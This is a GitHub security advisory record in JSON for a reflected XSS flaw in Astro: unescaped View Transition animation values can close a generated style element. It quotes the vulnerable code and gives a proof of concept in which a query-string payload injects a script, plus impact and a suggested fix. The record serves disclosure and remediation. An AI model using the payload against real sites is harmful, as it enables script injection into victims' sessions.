{"id":"GHSA-4g3v-8h47-v7g6","summary":"Astro: Reflected XSS via unescaped View Transition animation properties","details":"## Summary\n\nAstro's server-side View Transition CSS generator interpolates animation properties into an inline `\u003cstyle\u003e` element without escaping them for the CSS and HTML contexts.\n\nAn attacker-controlled value passed to an animation property such as `duration` can contain a `\u003c/style\u003e` sequence, terminate the generated style element, and inject arbitrary HTML or JavaScript.\n\nThis is similar to GHSA-8hv8-536x-4wqp, but exploits a different injection point: unescaped View Transition animation values in a server-generated `\u003cstyle\u003e` element rather than an unescaped slot name in a hydration template.\n\nLike GHSA-8hv8-536x-4wqp, exploitation requires an application to pass attacker-controlled data to an Astro API. However, the value is subsequently inserted into the HTML response without context-appropriate escaping by Astro.\n\n\n## Details\n\n\n`packages/astro/src/runtime/server/transition.ts`\n\nThe generated stylesheet is wrapped in a `\u003cstyle\u003e` element and marked as HTML-safe:\n\n```ts\nconst css = sheet.toString();\nresult._metadata.extraHead.push(markHTMLString(`\u003cstyle\u003e${css}\u003c/style\u003e`));\n```\n\nAnimation properties are added to the stylesheet without escaping:\n\n```ts\nif (anim.duration) {\n  addAnimationProperty(builder, 'animation-duration', toTimeValue(anim.duration));\n}\n```\n\nFor string values, `toTimeValue()` returns the input unchanged:\n\n```ts\nexport function toTimeValue(num: number | string) {\n  return typeof num === 'number' ? num + 'ms' : num;\n}\n```\n\nAs a result, a `duration` value containing `\u003c/style\u003e` can escape from the generated style element.\n\nOther `TransitionAnimation` properties, including `easing`, `direction`, `delay`, `fillMode`, and `name`, are serialized by the same animation builder. The following PoC only relies on the official `fade()` helper and its `duration` option.\n\n\n## PoC\n\nUsing:\n\n- `astro@7.0.9`\n- `@astrojs/node@11.0.2`\n\n### `astro.config.mjs`\n\n```js\nimport node from '@astrojs/node';\nimport { defineConfig } from 'astro/config';\n\nexport default defineConfig({\n  output: 'server',\n  adapter: node({ mode: 'standalone' }),\n});\n```\n\n### `src/pages/index.astro`\n\n```astro\n---\nimport { fade } from 'astro:transitions';\n\nconst duration = Astro.url.searchParams.get('duration') ?? '300ms';\n---\n\n\u003chtml lang=\"en\"\u003e\n  \u003chead\u003e\n    \u003cmeta charset=\"utf-8\" /\u003e\n    \u003ctitle\u003ePoC\u003c/title\u003e\n  \u003c/head\u003e\n  \u003cbody\u003e\n    \u003cdiv transition:animate={fade({ duration })}\u003e\n      Animated content\n    \u003c/div\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Payload:\n\nopen:\n\n```text\nhttp://localhost:4321/?duration=%3C%2Fstyle%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3C!--\n```\n\nThe browser interprets `\u003c/style\u003e` as the end of the generated style element and executes the injected script. An alert dialog is displayed when the page is opened.\n\n\u003cimg width=\"1307\" height=\"681\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0834236d-008f-415f-9f23-db509ab6f8f6\" /\u003e\n\n## Impact\n\nAn attacker who can control a View Transition animation value can execute arbitrary JavaScript in the origin of the affected Astro application.\n\nThe query-based reflected XSS scenario affects on-demand/server-rendered routes, such as:\n\n- projects configured with `output: \"server\"`;\n- pages using `export const prerender = false`;\n- other server-side data flows that pass attacker-controlled values into a View Transition animation definition.\n\nSuccessful exploitation may allow access to sensitive page data and authenticated actions available to the victim.\n\n## Suggested Fix\n\nAnimation values should be serialized using context-appropriate CSS escaping or validation before being added to the generated stylesheet.\n\nAdditionally, content inserted into a raw `\u003cstyle\u003e` element must not be able to contain an HTML end-tag sequence such as `\u003c/style\u003e`. The final generated CSS should be made safe for the HTML raw-text context before it is passed to `markHTMLString()`.","aliases":["CVE-2026-73422"],"modified":"2026-08-12T20:56:08.250169Z","published":"2026-07-20T21:08:16Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-07-20T21:08:16Z","nvd_published_at":null,"cwe_ids":["CWE-79"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/withastro/astro/security/advisories/GHSA-4g3v-8h47-v7g6"},{"type":"WEB","url":"https://github.com/withastro/astro/pull/17393"},{"type":"WEB","url":"https://github.com/withastro/astro/commit/092da560eea77ee63a3e2c583c80d8238544e42b"},{"type":"PACKAGE","url":"https://github.com/withastro/astro"},{"type":"WEB","url":"https://github.com/withastro/astro/releases/tag/astro@7.1.0"}],"affected":[{"package":{"name":"astro","ecosystem":"npm","purl":"pkg:npm/astro"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.9.0"},{"fixed":"7.1.0"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 7.0.9","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-4g3v-8h47-v7g6/GHSA-4g3v-8h47-v7g6.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}]}